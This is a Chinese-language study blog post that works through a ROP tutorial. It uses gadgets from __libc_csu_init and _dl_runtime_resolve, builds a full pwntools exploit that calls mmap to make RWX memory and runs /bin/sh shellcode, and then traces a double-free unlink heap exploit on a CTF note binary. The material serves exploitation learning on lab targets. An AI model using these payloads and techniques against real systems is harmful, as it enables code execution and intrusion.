学习——>一步一步学ROP之gadgets和2free篇

再次学习,链接如下:

http://wooyun.bystudent.com/static/drops/binary-10638.html

通用 gadgets part2

上次的__libc_csu_init()里面有个万能的gadgets,下面gcc默认编译进去的都可以寻找

blob.png

反编译一下__libc_csu_init(),看后面

gdb-peda$ disas __libc_csu_init

blob.png这里我们并不能控制rdi和rsi,

那我们控制代码的起始解析位置,那结果就会不一样了

比如下面的,那我们就可以控制第二个参数esi了

blob.png

接下来的这个就是控制edi的了

blob.png

虽然只能控制低32位,但是很多时候已经够了,应该高32位也是基本全0吧

除了编译进去的,还有libc和其他库,那我们就有更多的gadgets了,

作者介绍了一个 _dl_runtime_resolve(),这个里面可以控制6个参数,那么完全够用啊(作者说的mmap和mprotect,没用过…..)

_dl_runtime_resolve是用于linux的动态绑定的,就是plt吧,就是第一次跳去解析函数的真正地址放到got中

一开始都不知道怎么反编译_dl_runtime_resolve,

main函数下断点,跑起来

gdb-peda$ b main 

gdb-peda$ run

首先看看write@plt, 那个i表示instructions(指令)的缩写,就是以当前地址开始解析多少条指令了

blob.png

继续查看第二个jmp,因为got表没初始化,还是跳回来push0那里,再去跳到400420那里去处理

blob.png

第一个就是模块的id(就相当于给dll编个号),之前push 0是函数在这个模块的函数id

将这两个传给_dl_runtime_resolve()去解析,所以下面这个就是_dl_runtime_resolve()的地址

blob.png

那现在我们就可以来反编译了

gdb-peda$ x /21i 0x00007ffff7df02f0
   0x7ffff7df02f0 <_dl_runtime_resolve>:sub    rsp,0x38
   0x7ffff7df02f4 <_dl_runtime_resolve+4>:mov    QWORD PTR [rsp],rax
   0x7ffff7df02f8 <_dl_runtime_resolve+8>:mov    QWORD PTR [rsp+0x8],rcx
   0x7ffff7df02fd <_dl_runtime_resolve+13>:mov    QWORD PTR [rsp+0x10],rdx
   0x7ffff7df0302 <_dl_runtime_resolve+18>:mov    QWORD PTR [rsp+0x18],rsi
   0x7ffff7df0307 <_dl_runtime_resolve+23>:mov    QWORD PTR [rsp+0x20],rdi
   0x7ffff7df030c <_dl_runtime_resolve+28>:mov    QWORD PTR [rsp+0x28],r8
   0x7ffff7df0311 <_dl_runtime_resolve+33>:mov    QWORD PTR [rsp+0x30],r9
   0x7ffff7df0316 <_dl_runtime_resolve+38>:mov    rsi,QWORD PTR [rsp+0x40]
   0x7ffff7df031b <_dl_runtime_resolve+43>:mov    rdi,QWORD PTR [rsp+0x38]
   0x7ffff7df0320 <_dl_runtime_resolve+48>:call   0x7ffff7de9d10 <_dl_fixup>
   0x7ffff7df0325 <_dl_runtime_resolve+53>:mov    r11,rax
   0x7ffff7df0328 <_dl_runtime_resolve+56>:mov    r9,QWORD PTR [rsp+0x30]
   0x7ffff7df032d <_dl_runtime_resolve+61>:mov    r8,QWORD PTR [rsp+0x28]
   0x7ffff7df0332 <_dl_runtime_resolve+66>:mov    rdi,QWORD PTR [rsp+0x20]
   0x7ffff7df0337 <_dl_runtime_resolve+71>:mov    rsi,QWORD PTR [rsp+0x18]
   0x7ffff7df033c <_dl_runtime_resolve+76>:mov    rdx,QWORD PTR [rsp+0x10]
   0x7ffff7df0341 <_dl_runtime_resolve+81>:mov    rcx,QWORD PTR [rsp+0x8]
   0x7ffff7df0346 <_dl_runtime_resolve+86>:mov    rax,QWORD PTR [rsp]
   0x7ffff7df034a <_dl_runtime_resolve+90>:add    rsp,0x48
   0x7ffff7df034e <_dl_runtime_resolve+94>:jmp    r11
gdb-peda$

看了一下:我们要使用这个的话,必须控制rax,这样才能控制我们这个gadgets的返回值啊

blob.png

我们看看libc有没有,是有的

blob.png

有了这两个,那我们就很好利用了,rax传system的地址,_dl_runtime_resolve()的gadgets传参数就好,继续学习吧。。

利用mmap执行任意shellcode

确实学了这么久的rop,全是system,那么msf的shellcode有什么用呢,DEP一开就gg了,真的是这样吗,

其实可以他怎么来,我们就怎么搞嘛,你让那个没有执行权限,我将执行权加上去不行吗

作者说:可以通过mmap或者mprotect将某块内存改成RWX(可读可写可执行),然后将shellcode保存到这块内存,然后控制pc跳转过去就可以执行任意的shellcode了

还是level5,我再次用我编译的mylevel5试试吧

首先利用上一次的通用gadgets泄露出got_write和_dl_runtime_resolve的地址,payload如下,我还是使用自己mylevel5,跟作者的有点差别

blob.png

接下来我们调用_dl_runtime_resolve中的gadget来调用mmap,跟着写入shellcode

shellcode = "\x48\x31\xc0\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e" + "\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89" +  "\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05" 
# 0x7ffff7df0325 <_dl_runtime_resolve+53>:mov    r11,rax
# 0x7ffff7df0328 <_dl_runtime_resolve+56>:mov    r9,QWORD PTR [rsp+0x30]
# 0x7ffff7df032d <_dl_runtime_resolve+61>:mov    r8,QWORD PTR [rsp+0x28]
# 0x7ffff7df0332 <_dl_runtime_resolve+66>:mov    rdi,QWORD PTR [rsp+0x20]
# 0x7ffff7df0337 <_dl_runtime_resolve+71>:mov    rsi,QWORD PTR [rsp+0x18]
# 0x7ffff7df033c <_dl_runtime_resolve+76>:mov    rdx,QWORD PTR [rsp+0x10]
# 0x7ffff7df0341 <_dl_runtime_resolve+81>:mov    rcx,QWORD PTR [rsp+0x8]
# 0x7ffff7df0346 <_dl_runtime_resolve+86>:mov    rax,QWORD PTR [rsp]
# 0x7ffff7df034a <_dl_runtime_resolve+90>:add    rsp,0x48
# 0x7ffff7df034e <_dl_runtime_resolve+94>:jmp    r11
shellcode_addr = 0xbeef0000
# 调用mmap在0xbeef0000开辟一段RWX的内存
#mmap(rdi=shellcode_addr, rsi=1024, rdx=7, rcx=34, r8=0, r9=0)
payload3 =  "\x00"*136
#将mmap_addr函数的地址赋值给rax,等下赋值给r11,最后jmp r11
payload3 += p64(pop_rax_ret) + p64(mmap_addr) 
# 依次为rop    gadget首地址,rax rcx rdx rsi rdi r8 r9      为什么有两个0,平衡堆栈的0x48-7*8=8*2
payload3 += p64(linker_addr+0x35) + p64(0) + p64(34) + p64(7) + p64(1024) + p64(shellcode_addr) + p64(0) + p64(0) + p64(0) + p64(0)
# 写入shellcode
#read(rdi=0, rsi=shellcode_addr, rdx=1024)
payload3 += p64(pop_rax_ret) + p64(plt_read)
payload3 += p64(linker_addr+0x35) + p64(0) + p64(0) + p64(1024) + p64(shellcode_addr) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0)
payload3 += p64(shellcode_addr)

说一下mmap函数

void *mmap(void *addr, size_t len, int prot, int flags, int fd, off_t offset);

mmap(rdi=shellcode_addr, rsi=1024, rdx=7, rcx=34, r8=0, r9=0)

addr指定文件应被映射到进程空间的起始地址

len是映射到调用进程地址空间的字节数,它从被映射文件开头offset个字节开始算起。

prot参数指定共享内存的访问权限。可取如下几个值的或:PROT_READ(可读),PROT_WRITE(可写),PROT_EXEC(可执行),PROT_NONE(不可访问)。

flags由以下几个常值指定:MAP_SHARED, MAP_PRIVATE, MAP_FIXED。其中,MAP_SHARED,MAP_PRIVATE必选其一,而MAP_FIXED则不推荐使用。 如果指定为MAP_SHARED,则对映射的内存所做的修改同样影响到文件。如果是MAP_PRIVATE,则对映射的内存所做的修改仅对该进程可见,对文件没有影响。

参数fd为即将映射到进程空间的文件描述字,一般由open()返回,同时,fd可以指定为-1,此时须指定flags参数中的MAP_ANON,表明进行的是匿名映射(不涉及具体的文件名,避免了文件的创建及打开,很显然只能用于具有亲缘关系的进程间通信)。

offset参数一般设为0,表示从文件头开始映射。

为了理解深刻,查了一下常量的定义

#define PROT_READ	0x1     /* Page can be read.  */
#define PROT_WRITE	0x2     /* Page can be written.  */
#define PROT_EXEC	0x4     /* Page can be executed.  */
#define PROT_NONE	0x0     /* Page can not be accessed.  */

那么上面的7,就是读写执行权限都有了

#define MAP_SHARED	0x01    /* Share changes.  */
#define MAP_PRIVATE	0x02    /* Changes are private.  */

#define MAP_FIXED	0x10    /* Interpret addr exactly.  */
#define MAP_FILE	0
#define MAP_ANONYMOUS	0x20    /* Don't use a file.  */
#define MAP_ANON	MAP_ANONYMOUS

#define MAP_DENYWRITE	0x0800  /* ETXTBSY */
#define MAP_FOOBAR	0x0800  /* ETXTBSY */

但是那个flag的34就不是很好理解了

最终代码:

# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
libc = ELF("./libc.so.6")
elf = ELF("./mylevel5")
p = process("./mylevel5")
main = 0x0000000000400566
# address
got_write = elf.got['write']
print "got_write: " + hex(got_write)
got_read = elf.got['read']
print "got_read: " + hex(got_read)
plt_read = elf.symbols['read']
print "plt_read: " + hex(plt_read)
linker_point = 0x600988
print "linker_point: " + hex(linker_point)
got_pop_rax_ret = 0x00160524
print "got_pop_rax_ret: " + hex(got_pop_rax_ret)   
# offset
off_system_addr =  libc.symbols['write'] - libc.symbols['system'] 
print "off_system_addr: " + hex(off_system_addr)
off_mmap_addr = libc.symbols['write'] - libc.symbols['mmap']
print "off_mmap_addr: " + hex(off_mmap_addr)
off_pop_rax_ret = libc.symbols['write'] - got_pop_rax_ret
print "off_pop_rax_ret: " + hex(off_pop_rax_ret)
p.recvuntil("Hello, World\n")
# get write  addr 
#write(rdi=1, rsi=write.got, rdx=8)
payload1 =  "\x00"*136
# rbx rbp r12 r13(rdx)r14=rsi r15=rdi=edi
payload1 += p64(0x4005fa) +p64(0) + p64(1) + p64(got_write) + p64(8) + p64(got_write) + p64(1) # pop_rbx_rbp_r12_r13_r14_r15_ret
payload1 += p64(0x4005e0) #  mov %r13,%rdx;mov %r14,%rsi;mov %r15d,edi;callq (r12+rbx*8)
payload1 += "\x00"*56 #因为我们最后esp+8,pop了6次,所以7*8=56
payload1 += p64(main) #最后再调用main函数,继续执行漏洞函数
# raw_input()
sleep(1)
print "\n#############sending payload1 to get write_addr#############\n"
p.send(payload1)
write_addr = u64(p.recv(8))
# print u64(write_addr)
print "write_addr = " + hex(write_addr)
mmap_addr = write_addr - off_mmap_addr
print "mmap_addr: " + hex(mmap_addr)
pop_rax_ret = write_addr - off_pop_rax_ret
print "pop_rax_ret: " + hex(pop_rax_ret)    
p.recvuntil("Hello, World\n")
#write(rdi=1, rsi=linker_point, rdx=8)
payload2 =  "\x00"*136
# rbx rbp r12 r13(rdx)r14=rsi r15=rdi=edi
payload2 += p64(0x4005fa) +p64(0) + p64(1) + p64(got_write) + p64(8) + p64(linker_point) + p64(1) # pop_rbx_rbp_r12_r13_r14_r15_ret
payload2 += p64(0x4005e0) #  mov %r13,%rdx;mov %r14,%rsi;mov %r15d,edi;callq (r12+rbx*8)
payload2 += "\x00"*56 #因为我们最后esp+8,pop了6次,所以7*8=56
payload2 += p64(main) #最后再调用main函数,继续执行漏洞函数
print "\n#############sending payload2#############\n"
p.send(payload2)
sleep(1)    
linker_addr = u64(p.recv(8))
# print u64(p.recv(8))
print "linker_addr + 0x35: " + hex(int(str(linker_addr), 10) + 0x35)  
p.recvuntil("Hello, World\n")  
shellcode = "\x48\x31\xc0\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e" + "\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89" +  "\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05" 
# 0x7ffff7df0325 <_dl_runtime_resolve+53>:mov    r11,rax
# 0x7ffff7df0328 <_dl_runtime_resolve+56>:mov    r9,QWORD PTR [rsp+0x30]
# 0x7ffff7df032d <_dl_runtime_resolve+61>:mov    r8,QWORD PTR [rsp+0x28]
# 0x7ffff7df0332 <_dl_runtime_resolve+66>:mov    rdi,QWORD PTR [rsp+0x20]
# 0x7ffff7df0337 <_dl_runtime_resolve+71>:mov    rsi,QWORD PTR [rsp+0x18]
# 0x7ffff7df033c <_dl_runtime_resolve+76>:mov    rdx,QWORD PTR [rsp+0x10]
# 0x7ffff7df0341 <_dl_runtime_resolve+81>:mov    rcx,QWORD PTR [rsp+0x8]
# 0x7ffff7df0346 <_dl_runtime_resolve+86>:mov    rax,QWORD PTR [rsp]
# 0x7ffff7df034a <_dl_runtime_resolve+90>:add    rsp,0x48
# 0x7ffff7df034e <_dl_runtime_resolve+94>:jmp    r11
shellcode_addr = 0xbeef0000
#pwnlib.gdb.attach(p)
# 调用mmap在0xbeef0000开辟一段RWX的内存
#mmap(rdi=shellcode_addr, rsi=1024, rdx=7, rcx=34, r8=0, r9=0)
payload3 =  "\x00"*136
#将mmap_addr函数的地址赋值给rax,等下赋值给r11,最后jmp r11
payload3 += p64(pop_rax_ret) + p64(mmap_addr) 
# 依次为rop    gadget首地址,rax rcx rdx rsi rdi r8 r9      为什么有两个0,平衡堆栈的0x48-7*8=8*2
payload3 += p64(linker_addr+0x35) + p64(0) + p64(34) + p64(7) + p64(1024) + p64(shellcode_addr) + p64(0) + p64(0) + p64(0) + p64(0)
# 写入shellcode
#read(rdi=0, rsi=shellcode_addr, rdx=1024)
payload3 += p64(pop_rax_ret) + p64(plt_read)
payload3 += p64(linker_addr+0x35) + p64(0) + p64(0) + p64(1024) + p64(shellcode_addr) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0)
payload3 += p64(shellcode_addr)
print "\n#############sending payload3#############\n"
p.send(payload3)
sleep(1) 
p.send(shellcode+"\n")
sleep(1) 
p.interactive()

运行结果:

blob.png

堆漏洞利用之double free

Double free的意思是一个已经被free的内存块又被free了第二次。


看了作者下面这段话,有点抽象,怎么构造呢?


正常情况下,如果double free,系统会检测出该内存块已经被free过了,不能被free第二次,程序会报错然后退出。但是如果我们精心构造一个假的内存块就可骗过系统的检测,然后得到内存地址任意写的权限。随后就可以修改got表将接下来会执行的函数替换成system()再将参数改为我们想要执行的指令

由于功力不足,这里很久没学习了,就去看其他书去了,当然也不忘看堆的基础知识

感觉跟windows的很像

先打开看看吧,是一个note记事本程序,有增删改查的功能

blob.png

用ida看看吧看看

blob.png

新建note作者说后面没加'\0',输出的时候可以泄露更多的数据

blob.png

第二个漏洞就是delete note的时候没有检测已经free过了

blob.png

因为freelist的头部在bss端

blob.png

下面就是 .got.plt表了

 因此我们可以通过先建立两个note再删除一个note,然后再建立一个新note的方法来泄露出libc在内存中的地址:

不懂的话我们一步步学习吧

我们在新建第一个note前后下个断点吧

之后在循环等待用户输入的函数也下个断点0x400998

blob.png

我们看到新建的堆的地址在这

root@kali:~/learn_rop/double free# cat /proc/3771/maps
00400000-00402000 r-xp 00000000 08:01 404556                             /root/learn_rop/double free/freenote_x64
00601000-00602000 r--p 00001000 08:01 404556                             /root/learn_rop/double free/freenote_x64
00602000-00603000 rw-p 00002000 08:01 404556                             /root/learn_rop/double free/freenote_x64
022c3000-022e5000 rw-p 00000000 00:00 0                                  [heap]

我们看看freelist的头部,可以看到指向了heap段起始地址的偏移0x10字节处

blob.png

我们看到freelist在heap端起始偏移0x10处

新建第一个note前

我们去看看,发现都是空的,只有第一个8字节有东西,不知道表示大小还是啥

blob.png

根据代码应该是可以新建100个笔记

blob.png

而且在下面发现了一个这个,先不管

blob.png

先看看freelist 0x10(即偏移16)处是否为0,为0才能继续新建笔记

blob.png

之后在16处置1,说明已使用了

偏移24处写入字符串长度,偏移32处写入申请到的内存的首地址

之后对偏移为8的地方+1,这个应该是记录笔记数量的

新建第一个note后

由于alsr,下面实验我的地址会变话了,因为我要打开多次

新建了第一条笔记后,可以看到笔记头用了24字节,第一个8字节表示已使用,第二个8字节表示笔记的大小

第3个8字节就是指向记录笔记的那个chunk

blob.png

跟过去我们看到了笔记里面的内容,刚好0x80个0x41

blob.png

新建第二个note后

blob.png

看看0x80,实际加上头部,占用0x90,1表示前一个chunk已经分配了

blob.png

最后的206c1是还剩多少空间吧,因为新建完第二个note就减了0x90

删除第一个note

接下来是删除第一个笔记,索引0

可以看到第一个note出现了fd和bk,还有哪个0x91最后的位置变成了0,说明前一个chunk为free

blob.png

我们看看那个fd和bk

gdb告诉我们是main arena,而且这里指向的是第二个note后面的空闲的地方

blob.png

再次新建一个note

这里有变占用了

而且fd的值变了

blob.png

找不到  \xb8?

就在0xab9830的第一个字节,因为这里这样显示将第一个8字节逆向了

这样就好看点了

blob.png

继续

跟着list note

输出的是

*(_QWORD *)(qword_6020A8 + 24LL * (signed int)i + 32)

即输出chunk的首地址指向的字符串

blob.png

0x00作为结束

这里作者将地址的值字节最后一个应该是字符串结束符去掉后,再输出

这里发现输出是逆序的

再在后面加8个0,再逆序回来

leaklibcaddr = u64(leak[0:-1].ljust(8, '\x00'))

blob.png

删除两个note

先看看删除第二个note

这里大小变为0

blob.png

前面也被改写了

blob.png

再看看删除第一个note

长度1也变0了

blob.png

同样

blob.png

怎么算出来的system_sh_addr和binsh_addr:地址呢

blob.png

作者公式:

system_sh_addr = leaklibcaddr - 0x3724a8
print "system_sh_addr: " + hex(system_sh_addr)
binsh_addr = leaklibcaddr - 0x23e7f1
print "binsh_addr: " + hex(binsh_addr)

可以看到计算出来的值是不对的

说明作者的偏移是通过作者机器上的libc计算出来的

blob.png

blob.png

system地址的重新计算

后来我发现,这框住的两个地址相距是一样的

main_arena在第二个框的地址范围内

libc可执行的在第一个框范围内

blob.png再看看system函数偏移

blob.png

最终算出的距离是这个

blob.png

看看

blob.png

果然是这样

blob.png

继续

binsh地址的重新计算

看看ida搜索一下

blob.png

开始计算

blob.png

对了

blob.png

终于获取到这两个核心的地址了

泄露堆的信息

一开始写了4个note,就算note的大小是0x10,实际也给了0x80的空间

blob.png

接下来删除第一个和第3个note,可以看到前面0x10的数据被覆盖成fd和bk了

blob.png

再新建一个8个A的note,因为先释放的第3个,所以这里再建就用第3个了

blob.png

再list note,输出的是刚才新建一个8个A的note所在chunk的数据的首地址

由此我们可以知道这里我们最后申请的note,编号变成0了

这里我们才看到笔记后面没加'\0'的可以读出(泄露出后面的数据了)

这里就泄露出第一个chunk的地址,header的地址

blob.png

最后再删除这三个note

blob.png

blob.png

unlink exp

先分别新建3个0x80个ABC的note,跟着再逆序delete掉

实际感觉是将数据部分完全填充,不留00

blob.png

现在我们完成了:

通过泄露的libc地址我们可以计算出system()函数和"/bin/sh"字符串在内存中的地址,通过泄露的堆的地址我们能得到note table的地址。

这里好像建3个note似的

blob.png

我们看看如何

新建一个note,就伪造了3个note

blob.png

下一步delete_note(1),就删除伪造出来的“第二个note"

free的应该是0xab98c0,但是unlink的是0xab9830,这就不明白了,

等下重新运行程序调试看看,(由于aslr地址是发生了改变的)

我们可以看到free的参数确实是*****c0

blob.png

但是改写了这里,因为free的时候

P->fd->bk = P -> bk

P->bk->fd = P -> fd

blob.png

我们下个内存断点看看

下面就是

P->fd->bk = P -> bk

0x19b2018->bk = 0x00000000019b2020 ,即 *0x19b2030 = 0x00000000019b2020

还可看到_int_free 的参数

_int_free (av=0x7f9f1a98e620 <main_arena>, 

    p=<optimized out>, have_lock=0x0)

blob.png

而且就是这两句

blob.png

他们都是有rbx索引过来的

blob.png

看看rbx什么时候搞的,原来你free那个0xc2d8c0,程序就获取到chunk头的地址blob.png

继续

blob.png

原来是将上面和现在这个chunk合并

blob.png

合并前先将前面的chunk,ulink下来再合并啊,soga

KO!!!!

最后edit了两下所以为0的笔记,

第一次因为0笔记指向ab8018

数据都写到这边来了,总共占用了0x80*3个字节

blob.png

第二次再edit,edit_note(0, p64(system_sh_addr))

system的地址就写到了free_got处了,调用free就相当于调用system

可以看到已经被改写了

blob.png

最后再delete_note(1),

就free(binsh_addr)

这样就执行了system(binsh_addr)

我们来看看最终结果

blob.png

但gdb显示执行的是dash

blob.png

而且过一阵子就会退出,不过get flag的话足够了

打赏作者
喜欢本博客,打赏让博客永久运行,多少你说了算

您的支持将鼓励我们继续创作!

[微信] 扫描二维码打赏

[支付宝] 扫描二维码打赏

发表评论

电子邮件地址不会被公开。 必填项已用*标注